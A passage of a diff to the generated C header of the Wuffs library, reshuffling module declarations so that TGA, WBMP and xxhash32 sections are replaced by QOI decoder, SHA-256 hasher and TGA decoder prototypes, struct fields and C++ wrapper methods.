-11750,35 +12813,35 @@ wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__get_quirk( +- const wuffs_tga__decoder* self, ++wuffs_qoi__decoder__get_quirk( ++ const wuffs_qoi__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__set_quirk( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__set_quirk( ++ wuffs_qoi__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_image_config( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__decode_image_config( ++ wuffs_qoi__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame_config( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__decode_frame_config( ++ wuffs_qoi__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__decode_frame( ++ wuffs_qoi__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__pixel_blend a_blend, +@@ -11787,55 +12850,50 @@ wuffs_tga__decoder__decode_frame( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_tga__decoder__frame_dirty_rect( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__frame_dirty_rect( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_tga__decoder__num_animation_loops( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__num_animation_loops( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frame_configs( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__num_decoded_frame_configs( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frames( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__num_decoded_frames( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__restart_frame( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__restart_frame( ++ wuffs_qoi__decoder* self, + uint64_t a_index, + uint64_t a_io_position); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_tga__decoder__set_report_metadata( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__set_report_metadata( ++ wuffs_qoi__decoder* self, + uint32_t a_fourcc, + bool a_report); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__tell_me_more( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__tell_me_more( ++ wuffs_qoi__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__history_retain_length( +- const wuffs_tga__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_tga__decoder__workbuf_len( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__workbuf_len( ++ const wuffs_qoi__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -11850,7 +12908,7 @@ wuffs_tga__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_tga__decoder__struct { ++struct wuffs_qoi__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -11864,69 +12922,58 @@ struct wuffs_tga__decoder__struct { + wuffs_base__vtable vtable_for__wuffs_base__image_decoder; + wuffs_base__vtable null_vtable; + ++ uint32_t f_pixfmt; + uint32_t f_width; + uint32_t f_height; ++ uint64_t f_remaining_pixels_times_4; + uint8_t f_call_sequence; +- uint8_t f_header_id_length; +- uint8_t f_header_color_map_type; +- uint8_t f_header_image_type; +- uint16_t f_header_color_map_first_entry_index; +- uint16_t f_header_color_map_length; +- uint8_t f_header_color_map_entry_size; +- uint8_t f_header_pixel_depth; +- uint8_t f_header_image_descriptor; +- bool f_opaque; +- uint32_t f_scratch_bytes_per_pixel; +- uint32_t f_src_bytes_per_pixel; +- uint32_t f_src_pixfmt; +- uint64_t f_frame_config_io_position; ++ uint32_t f_buffer_index; ++ uint32_t f_dst_x; ++ uint32_t f_dst_y; + wuffs_base__pixel_swizzler f_swizzler; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_from_src_to_buffer; + } private_impl; + + struct { +- uint8_t f_dst_palette[1024]; +- uint8_t f_src_palette[1024]; +- uint8_t f_scratch[4]; ++ uint8_t f_pixel[4]; ++ uint8_t f_cache[256]; ++ uint8_t f_buffer[8196]; + + struct { +- uint32_t v_i; + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { +- uint64_t v_dst_bytes_per_pixel; +- uint32_t v_dst_x; +- uint32_t v_dst_y; +- uint64_t v_mark; +- uint32_t v_num_pixels32; +- uint32_t v_lit_length; +- uint32_t v_run_length; +- uint64_t v_num_dst_bytes; + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; ++ struct { ++ uint8_t v_dg; ++ uint32_t v_bi; ++ uint32_t v_bk; ++ } s_from_src_to_buffer; + } private_data; + + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_tga__decoder__alloc()); ++ return unique_ptr(wuffs_qoi__decoder__alloc()); + } + + static inline wuffs_base__image_decoder::unique_ptr + alloc_as__wuffs_base__image_decoder() { + return wuffs_base__image_decoder::unique_ptr( +- wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder()); ++ wuffs_qoi__decoder__alloc_as__wuffs_base__image_decoder()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -11942,10 +12989,10 @@ struct wuffs_tga__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_tga__decoder__struct() = delete; +- wuffs_tga__decoder__struct(const wuffs_tga__decoder__struct&) = delete; +- wuffs_tga__decoder__struct& operator=( +- const wuffs_tga__decoder__struct&) = delete; ++ wuffs_qoi__decoder__struct() = delete; ++ wuffs_qoi__decoder__struct(const wuffs_qoi__decoder__struct&) = delete; ++ wuffs_qoi__decoder__struct& operator=( ++ const wuffs_qoi__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -11965,7 +13012,7 @@ struct wuffs_tga__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_tga__decoder__initialize( ++ return wuffs_qoi__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +@@ -11977,28 +13024,28 @@ struct wuffs_tga__decoder__struct { + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_tga__decoder__get_quirk(this, a_key); ++ return wuffs_qoi__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_tga__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_qoi__decoder__set_quirk(this, a_key, a_value); + } + + inline wuffs_base__status + decode_image_config( + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_tga__decoder__decode_image_config(this, a_dst, a_src); ++ return wuffs_qoi__decoder__decode_image_config(this, a_dst, a_src); + } + + inline wuffs_base__status + decode_frame_config( + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { +- return wuffs_tga__decoder__decode_frame_config(this, a_dst, a_src); ++ return wuffs_qoi__decoder__decode_frame_config(this, a_dst, a_src); + } + + inline wuffs_base__status +@@ -12008,41 +13055,41 @@ struct wuffs_tga__decoder__struct { + wuffs_base__pixel_blend a_blend, + wuffs_base__slice_u8 a_workbuf, + wuffs_base__decode_frame_options* a_opts) { +- return wuffs_tga__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ return wuffs_qoi__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); + } + + inline wuffs_base__rect_ie_u32 + frame_dirty_rect() const { +- return wuffs_tga__decoder__frame_dirty_rect(this); ++ return wuffs_qoi__decoder__frame_dirty_rect(this); + } + + inline uint32_t + num_animation_loops() const { +- return wuffs_tga__decoder__num_animation_loops(this); ++ return wuffs_qoi__decoder__num_animation_loops(this); + } + + inline uint64_t + num_decoded_frame_configs() const { +- return wuffs_tga__decoder__num_decoded_frame_configs(this); ++ return wuffs_qoi__decoder__num_decoded_frame_configs(this); + } + + inline uint64_t + num_decoded_frames() const { +- return wuffs_tga__decoder__num_decoded_frames(this); ++ return wuffs_qoi__decoder__num_decoded_frames(this); + } + + inline wuffs_base__status + restart_frame( + uint64_t a_index, + uint64_t a_io_position) { +- return wuffs_tga__decoder__restart_frame(this, a_index, a_io_position); ++ return wuffs_qoi__decoder__restart_frame(this, a_index, a_io_position); + } + + inline wuffs_base__empty_struct + set_report_metadata( + uint32_t a_fourcc, + bool a_report) { +- return wuffs_tga__decoder__set_report_metadata(this, a_fourcc, a_report); ++ return wuffs_qoi__decoder__set_report_metadata(this, a_fourcc, a_report); + } + + inline wuffs_base__status +@@ -12050,42 +13097,30 @@ struct wuffs_tga__decoder__struct { + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src) { +- return wuffs_tga__decoder__tell_me_more(this, a_dst, a_minfo, a_src); +- } +- +- inline uint64_t +- history_retain_length() const { +- return wuffs_tga__decoder__history_retain_length(this); ++ return wuffs_qoi__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + + inline wuffs_base__range_ii_u64 + workbuf_len() const { +- return wuffs_tga__decoder__workbuf_len(this); ++ return wuffs_qoi__decoder__workbuf_len(this); + } + + #endif // __cplusplus +-}; // struct wuffs_tga__decoder__struct ++}; // struct wuffs_qoi__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_wbmp__error__bad_header[]; +-extern const char wuffs_wbmp__error__truncated_input[]; +- + // ---------------- Public Consts + +-#define WUFFS_WBMP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_WBMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 +- + // ---------------- Struct Declarations + +-typedef struct wuffs_wbmp__decoder__struct wuffs_wbmp__decoder; ++typedef struct wuffs_sha256__hasher__struct wuffs_sha256__hasher; + + #ifdef __cplusplus + extern "C" { +@@ -12100,14 +13135,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_wbmp__decoder__initialize( +- wuffs_wbmp__decoder* self, ++wuffs_sha256__hasher__initialize( ++ wuffs_sha256__hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_wbmp__decoder(void); ++sizeof__wuffs_sha256__hasher(void); + + // ---------------- Allocs + +@@ -12117,112 +13152,53 @@ sizeof__wuffs_wbmp__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_wbmp__decoder* +-wuffs_wbmp__decoder__alloc(void); ++wuffs_sha256__hasher* ++wuffs_sha256__hasher__alloc(void); + +-static inline wuffs_base__image_decoder* +-wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_wbmp__decoder__alloc()); ++static inline wuffs_base__hasher_bitvec256* ++wuffs_sha256__hasher__alloc_as__wuffs_base__hasher_bitvec256(void) { ++ return (wuffs_base__hasher_bitvec256*)(wuffs_sha256__hasher__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__image_decoder* +-wuffs_wbmp__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_wbmp__decoder* p) { +- return (wuffs_base__image_decoder*)p; ++static inline wuffs_base__hasher_bitvec256* ++wuffs_sha256__hasher__upcast_as__wuffs_base__hasher_bitvec256( ++ wuffs_sha256__hasher* p) { ++ return (wuffs_base__hasher_bitvec256*)p; + } + + // ---------------- Public Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__get_quirk( +- const wuffs_wbmp__decoder* self, ++wuffs_sha256__hasher__get_quirk( ++ const wuffs_sha256__hasher* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__set_quirk( +- wuffs_wbmp__decoder* self, ++wuffs_sha256__hasher__set_quirk( ++ wuffs_sha256__hasher* self, + uint32_t a_key, + uint64_t a_value); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_wbmp__decoder__frame_dirty_rect( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_wbmp__decoder__num_animation_loops( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frame_configs( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__num_decoded_frames( +- const wuffs_wbmp__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__restart_frame( +- wuffs_wbmp__decoder* self, +- uint64_t a_index, +- uint64_t a_io_position); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_wbmp__decoder__set_report_metadata( +- wuffs_wbmp__decoder* self, +- uint32_t a_fourcc, +- bool a_report); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__tell_me_more( +- wuffs_wbmp__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); ++wuffs_sha256__hasher__update( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__history_retain_length( +- const wuffs_wbmp__decoder* self); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__update_bitvec256( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_wbmp__decoder__workbuf_len( +- const wuffs_wbmp__decoder* self); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__checksum_bitvec256( ++ const wuffs_sha256__hasher* self); + + #ifdef __cplusplus + } // extern "C" +@@ -12237,7 +13213,7 @@ wuffs_wbmp__decoder__workbuf_len( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_wbmp__decoder__struct { ++struct wuffs_sha256__hasher__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -12248,52 +13224,41 @@ struct wuffs_wbmp__decoder__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_bitvec256; + wuffs_base__vtable null_vtable; + +- uint32_t f_width; +- uint32_t f_height; +- uint8_t f_call_sequence; +- uint64_t f_frame_config_io_position; +- wuffs_base__pixel_swizzler f_swizzler; +- +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; ++ uint64_t f_length_modulo_u64; ++ bool f_length_overflows_u64; ++ uint8_t f_padding0; ++ uint8_t f_padding1; ++ uint8_t f_padding2; ++ uint32_t f_buf_len; ++ uint8_t f_buf_data[64]; ++ uint32_t f_h0; ++ uint32_t f_h1; ++ uint32_t f_h2; ++ uint32_t f_h3; ++ uint32_t f_h4; ++ uint32_t f_h5; ++ uint32_t f_h6; ++ uint32_t f_h7; + } private_impl; + +- struct { +- struct { +- uint32_t v_i; +- uint32_t v_p; +- } s_do_decode_image_config[1]; +- struct { +- uint64_t v_dst_bytes_per_pixel; +- uint32_t v_dst_x; +- uint32_t v_dst_y; +- uint8_t v_src[1]; +- uint8_t v_c; +- } s_do_decode_frame[1]; +- } private_data; +- + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_wbmp__decoder__alloc()); ++ return unique_ptr(wuffs_sha256__hasher__alloc()); + } + +- static inline wuffs_base__image_decoder::unique_ptr +- alloc_as__wuffs_base__image_decoder() { +- return wuffs_base__image_decoder::unique_ptr( +- wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder()); ++ static inline wuffs_base__hasher_bitvec256::unique_ptr ++ alloc_as__wuffs_base__hasher_bitvec256() { ++ return wuffs_base__hasher_bitvec256::unique_ptr( ++ wuffs_sha256__hasher__alloc_as__wuffs_base__hasher_bitvec256()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -12309,10 +13274,10 @@ struct wuffs_wbmp__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_wbmp__decoder__struct() = delete; +- wuffs_wbmp__decoder__struct(const wuffs_wbmp__decoder__struct&) = delete; +- wuffs_wbmp__decoder__struct& operator=( +- const wuffs_wbmp__decoder__struct&) = delete; ++ wuffs_sha256__hasher__struct() = delete; ++ wuffs_sha256__hasher__struct(const wuffs_sha256__hasher__struct&) = delete; ++ wuffs_sha256__hasher__struct& operator=( ++ const wuffs_sha256__hasher__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -12332,120 +13297,68 @@ struct wuffs_wbmp__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_wbmp__decoder__initialize( ++ return wuffs_sha256__hasher__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +- inline wuffs_base__image_decoder* +- upcast_as__wuffs_base__image_decoder() { +- return (wuffs_base__image_decoder*)this; ++ inline wuffs_base__hasher_bitvec256* ++ upcast_as__wuffs_base__hasher_bitvec256() { ++ return (wuffs_base__hasher_bitvec256*)this; + } + + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_wbmp__decoder__get_quirk(this, a_key); ++ return wuffs_sha256__hasher__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_wbmp__decoder__set_quirk(this, a_key, a_value); +- } +- +- inline wuffs_base__status +- decode_image_config( +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_wbmp__decoder__decode_image_config(this, a_dst, a_src); +- } +- +- inline wuffs_base__status +- decode_frame_config( +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- return wuffs_wbmp__decoder__decode_frame_config(this, a_dst, a_src); +- } +- +- inline wuffs_base__status +- decode_frame( +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { +- return wuffs_wbmp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); +- } +- +- inline wuffs_base__rect_ie_u32 +- frame_dirty_rect() const { +- return wuffs_wbmp__decoder__frame_dirty_rect(this); +- } +- +- inline uint32_t +- num_animation_loops() const { +- return wuffs_wbmp__decoder__num_animation_loops(this); +- } +- +- inline uint64_t +- num_decoded_frame_configs() const { +- return wuffs_wbmp__decoder__num_decoded_frame_configs(this); +- } +- +- inline uint64_t +- num_decoded_frames() const { +- return wuffs_wbmp__decoder__num_decoded_frames(this); +- } +- +- inline wuffs_base__status +- restart_frame( +- uint64_t a_index, +- uint64_t a_io_position) { +- return wuffs_wbmp__decoder__restart_frame(this, a_index, a_io_position); ++ return wuffs_sha256__hasher__set_quirk(this, a_key, a_value); + } + + inline wuffs_base__empty_struct +- set_report_metadata( +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_wbmp__decoder__set_report_metadata(this, a_fourcc, a_report); +- } +- +- inline wuffs_base__status +- tell_me_more( +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- return wuffs_wbmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_sha256__hasher__update(this, a_x); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_wbmp__decoder__history_retain_length(this); ++ inline wuffs_base__bitvec256 ++ update_bitvec256( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_sha256__hasher__update_bitvec256(this, a_x); + } + +- inline wuffs_base__range_ii_u64 +- workbuf_len() const { +- return wuffs_wbmp__decoder__workbuf_len(this); ++ inline wuffs_base__bitvec256 ++ checksum_bitvec256() const { ++ return wuffs_sha256__hasher__checksum_bitvec256(this); + } + + #endif // __cplusplus +-}; // struct wuffs_wbmp__decoder__struct ++}; // struct wuffs_sha256__hasher__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + ++extern const char wuffs_tga__error__bad_header[]; ++extern const char wuffs_tga__error__bad_run_length_encoding[]; ++extern const char wuffs_tga__error__truncated_input[]; ++extern const char wuffs_tga__error__unsupported_tga_file[]; ++ + // ---------------- Public Consts + ++#define WUFFS_TGA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u ++ + // ---------------- Struct Declarations + +-typedef struct wuffs_xxhash32__hasher__struct wuffs_xxhash32__hasher; ++typedef struct wuffs_tga__decoder__struct wuffs_tga__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -12460,14 +13373,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_xxhash32__hasher__initialize( +- wuffs_xxhash32__hasher* self, ++wuffs_tga__decoder__initialize( ++ wuffs_tga__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_xxhash32__hasher(void); ++sizeof__wuffs_tga__decoder(void); + + // ---------------- Allocs + +@@ -12477,53 +13390,107 @@ sizeof__wuffs_xxhash32__hasher(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_xxhash32__hasher* +-wuffs_xxhash32__hasher__alloc(void); ++wuffs_tga__decoder* ++wuffs_tga__decoder__alloc(void); + +-static inline wuffs_base__hasher_u32* +-wuffs_xxhash32__hasher__alloc_as__wuffs_base__hasher_u32(void) { +- return (wuffs_base__hasher_u32*)(wuffs_xxhash32__hasher__alloc()); ++static inline wuffs_base__image_decoder* ++wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_tga__decoder__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__hasher_u32* +-wuffs_xxhash32__hasher__upcast_as__wuffs_base__hasher_u32( +- wuffs_xxhash32__hasher* p) { +- return (wuffs_base__hasher_u32*)p; ++static inline wuffs_base__image_decoder* ++wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_tga__decoder* p) { ++ return (wuffs_base__image_decoder*)p; + } + + // ---------------- Public Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_xxhash32__hasher__get_quirk( +- const wuffs_xxhash32__hasher* self, ++wuffs_tga__decoder__get_quirk( ++ const wuffs_tga__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_xxhash32__hasher__set_quirk( +- wuffs_xxhash32__hasher* self, ++wuffs_tga__decoder__set_quirk( ++ wuffs_tga__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_xxhash32__hasher__update( +- wuffs_xxhash32__hasher* self, +- wuffs_base__slice_u8 a_x); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, ++ 